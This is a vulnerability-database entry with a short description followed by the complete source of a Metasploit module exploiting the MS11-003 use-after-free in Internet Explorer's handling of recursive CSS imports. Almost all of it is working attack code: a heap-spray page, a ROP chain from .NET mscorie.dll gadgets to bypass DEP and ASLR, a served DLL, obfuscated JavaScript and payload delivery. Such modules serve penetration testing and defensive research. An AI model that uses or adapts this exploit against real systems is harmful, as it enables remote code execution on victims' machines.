MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free

2011-02-08T23:31:44
ID MSF:EXPLOIT/WINDOWS/BROWSER/MS11_003_IE_CSS_IMPORT
Type metasploit
Reporter Rapid7
Modified 2019-05-23T12:01:21

Description

This module exploits a memory corruption vulnerability within Microsoft\'s HTML engine (mshtml). When parsing an HTML page containing a recursive CSS import, a C++ object is deleted and later reused. This leads to arbitrary code execution. This exploit utilizes a combination of heap spraying and the .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not opt-in to ASLR. As such, this module should be reliable on all Windows versions with .NET 2.0.50727 installed.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking # Need more love for Great

  include Msf::Exploit::Remote::HttpServer::HTML
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "7.0", # Should be 6
  #  :ua_maxver  => "8.0",
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  # Not strictly a vuln check, but an exploitability check since a
  #  # specific version of .NET is required to make the ROP work.
  #  :vuln_test  => "if (/.NET CLR 2\\.0\\.50727/.test(navigator.userAgent)) { is_vuln = true }else{ is_vuln = false }",
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS11-003 Microsoft Internet Explorer CSS Recursive Import Use After Free',
      'Description'    => %q{
          This module exploits a memory corruption vulnerability within Microsoft\'s
        HTML engine (mshtml). When parsing an HTML page containing a recursive CSS
        import, a C++ object is deleted and later reused. This leads to arbitrary
        code execution.

        This exploit utilizes a combination of heap spraying and the
        .NET 2.0 'mscorie.dll' module to bypass DEP and ASLR. This module does not
        opt-in to ASLR. As such, this module should be reliable on all Windows
        versions with .NET 2.0.50727 installed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'passerby',       # Initial discovery / report
          'd0c_s4vage',     # First working public exploit
          'jduck'           # Metasploit module (ROP, @WTFuzz spray)
        ],
      'References'     =>
        [
          [ 'CVE', '2010-3971' ],
          [ 'OSVDB', '69796' ],
          [ 'BID', '45246' ],
          [ 'URL', 'http://www.wooyun.org/bugs/wooyun-2010-0885' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2010/Dec/110' ],
          [ 'MSB', 'MS11-003' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
          'DisableNops'   => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],

          [ 'Internet Explorer 8',
            {
              'Ret' => 0x105ae020,
              'OnePtrOff' => 0x18,
              'DerefOff' => 0x30,
              'FlagOff' => 0x54,
              'CallDeref1' => 0x20,
              'SignedOff' => 0x1c,
              'CallDeref2' => 0x24,
              'CallDeref3' => 0x00,
              'CallDeref4' => 0x20,
              'Deref4Off' => 0x08
            }
          ],

          [ 'Internet Explorer 7',
            {
              'Ret' => 0x105ae020,
              'OnePtrOff' => 0x14,
              'DerefOff' => 0x5c,
              'FlagOff' => 0x34,
              'CallDeref1' => 0x1c,
              'SignedOff' => 0x18,
              'CallDeref2' => 0x20,
              'CallDeref3' => 0x00,
              'CallDeref4' => 0x20,
              'Deref4Off' => 0x08
            }
          ],

          # For now, treat the IE6 target the same as the debug target.
          [ 'Internet Explorer 6',
            {
              'Ret' => 0xc0c0c0c0,
              'OnePtrOff' => 0x14,
              'DerefOff' => 0x5c,
              'FlagOff' => 0x34,
              'CallDeref1' => 0x1c,
              'SignedOff' => 0x18,
              'CallDeref2' => 0x20,
              'CallDeref3' => 0x00,
              'CallDeref4' => 0x20,
              'Deref4Off' => 0x08
            }
          ],

          [ 'Debug Target (Crash)',
            {
              'Ret' => 0xc0c0c0c0,
              'OnePtrOff' => 0,
              'DerefOff' => 4,
              'FlagOff' => 8,
              'CallDeref1' => 0xc,
              'SignedOff' => 0x10,
              'CallDeref2' => 0x14,
              'CallDeref3' => 0x18,
              'CallDeref4' => 0x1c,
              'Deref4Off' => 0x20
            }
          ]
        ],
      # Full-disclosure post was Dec 8th, original blog Nov 29th
      'DisclosureDate' => 'Nov 29 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
      ])
  end


  def auto_target(cli, request)
    mytarget = nil

    agent = request.headers['User-Agent']
    if agent =~ /MSIE 6\.0/
      mytarget = targets[3]
    elsif agent =~ /MSIE 7\.0/
      mytarget = ua_has_clr(cli,agent) ? targets[2] : nil
    elsif agent =~ /MSIE 8\.0/
      mytarget = ua_has_clr(cli,agent) ? targets[1] : nil
    else
      print_error("Unknown User-Agent #{agent}")
    end
    mytarget
  end

  def ua_has_clr(cli, agent)
    if agent =~ /\.NET CLR 2\.0\.50727/
      return true
    end
    print_error("Target machine does not have the .NET CLR 2.0.50727")
    false
  end


  def on_request_uri(cli, request)

    print_status("Received request for %s" % request.uri.inspect)

    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    #print_status("Automatically selected target: #{mytarget.name}")

    buf_addr = mytarget.ret
    css_name = [buf_addr].pack('V') * (16 / 4)

    # We stick in a placeholder string to replace after UTF-16 encoding
    placeholder = "a" * (css_name.length / 2)
    uni_placeholder = Rex::Text.to_unicode(placeholder)

    if request.uri == get_resource() or request.uri =~ /\/$/
      print_status("Sending redirect")

      redir = get_resource()
      redir << '/' if redir[-1,1] != '/'
      redir << rand_text_alphanumeric(4+rand(4))
      redir << '.html'
      send_redirect(cli, redir)

    elsif request.uri =~ /\.html?$/
      # Re-generate the payload
      return if ((p = regenerate_payload(cli)) == nil)

      print_status("Sending HTML")

      # Generate the ROP payload
      rvas = rvas_mscorie_v2()
      rop_stack = generate_rop(buf_addr, rvas)
      fix_esp = rva2addr(rvas, 'leave / ret')
      ret     = rva2addr(rvas, 'ret')
      pivot1  = rva2addr(rvas, 'call [ecx+4] / xor eax, eax / pop ebp / ret 8')
      pivot2  = rva2addr(rvas, 'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret')

      # Append the payload to the rop_stack
      rop_stack << p.encoded

      # Build the deref-fest buffer
      len = 0x84 + rop_stack.length
      special_sauce = rand_text_alpha(len)

      # This ptr + off must contain 0x00000001
      special_sauce[mytarget['OnePtrOff'], 4] = [1].pack('V')

      # Pointer that is dereferenced to get the flag
      special_sauce[mytarget['DerefOff'], 4] = [buf_addr].pack('V')

      # Low byte must not have bit 1 set
      no_bit1 = rand(0xff) & ~2
      special_sauce[mytarget['FlagOff'], 1] = [no_bit1].pack('V')

      # These are deref'd to figure out what to call
      special_sauce[mytarget['CallDeref1'], 4] = [buf_addr].pack('V')
      special_sauce[mytarget['CallDeref2'], 4] = [buf_addr].pack('V')
      special_sauce[mytarget['CallDeref3'], 4] = [buf_addr + mytarget['Deref4Off']].pack('V')
      # Finally, this one becomes eip
      special_sauce[mytarget['CallDeref4'] + mytarget['Deref4Off'], 4] = [pivot1].pack('V')

      # This byte must be signed (shorter path to flow control)
      signed_byte = rand(0xff) | 0x80
      special_sauce[mytarget['SignedOff'], 1] = [signed_byte].pack('C')

      # These offsets become a fix_esp ret chain ..
      special_sauce[0x04, 4] = [pivot2].pack('V')    # part two of our stack pivot!
      special_sauce[0x0c, 4] = [buf_addr + 0x84 - 4].pack('V')  # becomes ebp, for fix esp
      special_sauce[0x10, 4] = [fix_esp].pack('V')   # our stack pivot ret's to this (fix_esp, from eax)

      # Add in the rest of the ROP stack
      special_sauce[0x84, rop_stack.length] = rop_stack

      # Format for javascript use
      special_sauce = Rex::Text.to_unescape(special_sauce)

      js_function  = rand_text_alpha(rand(100)+1)

      # Construct the javascript
      custom_js = <<-EOS
function #{js_function}() {
heap = new heapLib.ie(0x20000);
var heapspray = unescape("#{special_sauce}");
while(heapspray.length < 0x1000) heapspray += unescape("%u4444");
var heapblock = heapspray;
while(heapblock.length < 0x40000) heapblock += heapblock;
finalspray = heapblock.substring(2, 0x40000 - 0x21);
for(var counter = 0; counter < 500; counter++) { heap.alloc(finalspray); }
var vlink = document.createElement("link");
vlink.setAttribute("rel", "Stylesheet");
vlink.setAttribute("type", "text/css");
vlink.setAttribute("href", "#{placeholder}")
document.getElementsByTagName("head")[0].appendChild(vlink);
}
EOS
      opts = {
        'Symbols' => {
          'Variables' => %w{ heapspray vlink heapblock heap finalspray counter },
          'Methods'   => %w{ prepare }
        }
      }

      if datastore['OBFUSCATE']
        custom_js = ::Rex::Exploitation::ObfuscateJS.new(custom_js, opts)
      end

      js = heaplib(custom_js)

      dll_uri = get_resource()
      dll_uri << '/' if dll_uri[-1,1] != '/'
      dll_uri << "generic-" + Time.now.to_i.to_s + ".dll"

      # Construct the final page
      html = <<-EOS
<html>
<head>
<script language='javascript'>
#{js}
</script>
</head>
<body onload='#{js_function}()'>
<object classid="#{dll_uri}#GenericControl">
</body>
</html>
EOS
      html = "\xff\xfe" + Rex::Text.to_unicode(html)
      html.gsub!(uni_placeholder, css_name)

      send_response(cli, html, { 'Content-Type' => 'text/html' })

    elsif request.uri =~ /\.dll$/
      print_status("Sending .NET DLL")

      # Generate a .NET v2.0 DLL, note that it doesn't really matter what this contains since we don't actually
      # use it's contents ...
      ibase = (0x2000 | rand(0x8000)) << 16
      dll = Msf::Util::EXE.to_dotnetmem(ibase, rand_text(16))

      # Send a .NET v2.0 DLL down
      send_response(cli, dll,
        {
          'Content-Type' => 'application/x-msdownload',
          'Connection'   => 'close',
          'Pragma'       => 'no-cache'
        })

    else
      # Defines two different CSS import styles
      import_styles = [
        "@import url(\"#{placeholder}\");\n",
        "@import \"#{placeholder}\";\n"
      ]

      # Choose four imports of random style
      css = ''
      4.times {
        css << import_styles[rand(import_styles.length)]
      }

      css = "\xff\xfe" + Rex::Text.to_unicode(css)
      css.gsub!(uni_placeholder, css_name)

      print_status("Sending CSS")

      send_response(cli, css, { 'Content-Type' => 'text/css' })

    end

    # Handle the payload
    handler(cli)

  end

  def rvas_mscorie_v2()
    # mscorie.dll version v2.0.50727.3053
    # Just return this hash
    {
      'call [ecx+4] / xor eax, eax / pop ebp / ret 8' => 0x237e,
      'xchg eax, esp / mov eax, [eax] / mov [esp], eax / ret' => 0x575b,
      'leave / ret'            => 0x25e5,
      'ret'                    => 0x25e5+1,
      'call [ecx] / pop ebp / ret 0xc' => 0x1ec4,
      'pop eax / ret'          => 0x5ba1,
      'pop ebx / ret'          => 0x54c0,
      'pop ecx / ret'          => 0x1e13,
      'pop esi / ret'          => 0x1d9a,
      'pop edi / ret'          => 0x2212,
      'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc' => 0x61f6,
      'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret' => 0x6154,
    }
  end

  def generate_rop(buf_addr, rvas)
    # ROP fun! (XP SP3 English, Dec 15 2010)
    rvas.merge!({
      # Instructions / Name    => RVA
      'BaseAddress'            => 0x63f00000,
      'imp_VirtualAlloc'       => 0x10f4
    })

    rop_stack = [
      # Allocate an RWX memory segment
      'pop ecx / ret',
      'imp_VirtualAlloc',

      'call [ecx] / pop ebp / ret 0xc',
      0,         # lpAddress
      0x1000,    # dwSize
      0x3000,    # flAllocationType
      0x40,      # flProt
      :unused,

      # Copy the original payload
      'pop ecx / ret',
      :unused,
      :unused,
      :unused,
      :memcpy_dst,

      'mov [ecx], eax / mov al, 1 / pop ebp / ret 0xc',
      :unused,

      'pop esi / ret',
      :unused,
      :unused,
      :unused,
      :memcpy_src,

      'pop edi / ret',
      0xdeadf00d # to be filled in above
    ]
    (0x200 / 4).times {
      rop_stack << 'movsd / mov ebp, 0x458bffff / sbb al, 0x3b / ret'
    }
    # Execute the payload ;)
    rop_stack << 'call [ecx] / pop ebp / ret 0xc'

    rop_stack.map! { |e|
      if e.kind_of? String
        # Meta-replace (RVA)
        fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e]
        rvas['BaseAddress'] + rvas[e]

      elsif e == :unused
        # Randomize
        rand_text(4).unpack('V').first

      elsif e == :memcpy_src
        # Based on stack length..
        buf_addr + 0x84 + (rop_stack.length * 4)

      elsif e == :memcpy_dst
        # Store our new memory ptr into our buffer for later popping :)
        buf_addr + 0x84 + (21 * 4)

      else
        # Literal
        e
      end
    }

    rop_stack.pack('V*')
  end

  def rva2addr(rvas, key)
    fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key]
    rvas['BaseAddress'] + rvas[key]
  end
end